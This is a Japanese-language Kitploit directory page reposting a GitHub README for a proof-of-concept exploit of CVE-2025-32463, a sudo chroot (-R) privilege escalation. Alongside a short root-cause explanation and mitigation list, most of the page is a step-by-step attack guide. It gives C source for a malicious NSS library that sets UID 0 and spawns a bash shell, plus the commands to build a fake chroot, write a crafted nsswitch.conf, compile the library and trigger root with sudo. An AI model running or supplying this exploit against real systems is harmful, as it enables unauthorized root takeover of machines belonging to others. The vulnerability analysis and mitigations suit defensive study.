Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-32463-EXPLOIT — CVE-2025-32463 - Sudo権限昇格のPoCエクスプロイト | Kitploit
ツール/GitHubGitHub/k3ystr0k3r/cve-2025-32463-exploit
特権昇格脆弱性分析エクスプロイトシェルコードペネトレーションテスト学習と教育ペイロード開発バイナリエクスプロイト
GitHubk3ystr0k3r/cve-2025-32463-exploit

CVE-2025-32463-EXPLOIT

CVE-2025-32463 - Sudo権限昇格のPoCエクスプロイト

リポジトリを見る
9241年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-32463 - Sudo特権昇格

sudoにおける特権昇格の脆弱性が、Linux/Unix系システムに影響を与えます。この欠陥は、sudoが-R(--chroot)オプションと共に使用された際の不適切なパス検証に起因し、攻撃者が悪意のあるNSSライブラリのロードを介してrootに昇格することを可能にします。

根本原因

  • sudoがchroot環境(-Rオプション)内でコマンドを実行する際、エラー状態でのNSS (Name Service Switch) ライブラリの読み込みを誤って処理します。
  • 不適切なパス検証(例:LD_LIBRARY_PATHや/etc/nsswitch.conf内のパスのサニタイズの欠如)により、正規のNSSライブラリ(例:libnss_files.so)の代わりに悪意のあるライブラリが読み込まれる可能性があります。
  • これにより、root権限での任意のコード実行が引き起こされます。

影響

  • ローカルアクセスを持つ攻撃者がこれを悪用してroot権限を取得できます。

緩和策

  1. sudoを最新パッチ版にアップデートする。
  2. sudoの権限を制限する(可能な場合はchrootの使用を制限)。
  3. 環境変数を監査する:
    • LD_LIBRARY_PATHを制限する。
    • /etc/nsswitch.confを安全にする。
  4. /etc/sudoersで**secure_pathを強制**し、ライブラリの検索パスを制限する。

技術的詳細

コンポーネント脆弱性のトリガー
sudo -R誤ったchrootパス検証。
NSSエラー時の安全でないライブラリ読み込み。
悪用パスハイジャック → 悪意あるライブラリのロード。

脆弱性の概要

CVE ID: CVE-2025-32463
影響を受けるバージョン: Sudo 1.9.14 から 1.9.17
CVSSスコア: 9.8 (Critical)
影響: ローカルからrootへの特権昇格

攻撃フロー

  1. 攻撃者が悪意のあるNSSライブラリを作成
  2. 偽のchroot環境をセットアップ
  3. sudoのエラー状態をトリガー
  4. sudoが攻撃者制御のライブラリを読み込む
  5. 悪意のあるコードがroot権限で実行される

エクスプロイト手順

ステップ1: 脆弱性の確認

No such file or directoryと応答した場合、脆弱性が存在します: sudo -R invalid invalid sudo: invalid: No such file or directory

ステップ2: 一時的な作業ディレクトリの作成

まず、作業用の一時ディレクトリを作成します: TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR このコマンドは一意の名前を持つ一時ディレクトリを作成し、そこへ移動します。mktempコマンドにより、既存のシステムファイルに干渉しないようにします。

ステップ3: 悪意のあるライブラリの作成

悪意のあるライブラリにコンパイルされるCファイル (bridge90.c) を作成する必要があります:

root@kitploit:~
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // 実ユーザーIDと実効ユーザーIDをrootに設定
  setregid(0,0);  // 実グループIDと実効グループIDをrootに設定
  chdir("/");     // ルートディレクトリに移動
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // シェルを実行
}

主要な構成要素:

root@kitploit:~
__attribute__((constructor)) により、ライブラリが読み込まれた際に関数が実行される

setreuid と setregid で権限をrootに昇格

execl でbashシェルを起動

ステップ4: エクスプロイト環境のセットアップ

mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c 詳細:

root@kitploit:~
bridge/etcに偽のchroot環境を作成

nsswitch.confを変更して悪意のあるパスを参照させる

正規の/etc/groupファイルをコピーして正当性を維持

悪意のあるライブラリ用のディレクトリを作成

CコードをNSS (Name Service Switch) の命名規則に合わせた共有ライブラリにコンパイル

ステップ5: エクスプロイトの実行

sudo -R bridge bridge

このコマンドは細工された環境を使用しようとします:

root@kitploit:~
最初のbridgeは悪意のある設定を含むchrootディレクトリ

2番目のbridgeは実行するコマンド(ライブラリを読み込む)

ステップ6: 権限昇格の確認

エクスプロイト成功後、rootアクセスを確認:

whoami # "root" と表示されるはず id -u # "0" (rootのUID) と表示されるはず

root@kitploit:~
graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]

免責事項

このPoCエクスプロイトは教育目的のみです!このエクスプロイトの誤用によって生じたいかなる結果についても私は責任を負いません!

ツールをダウンロード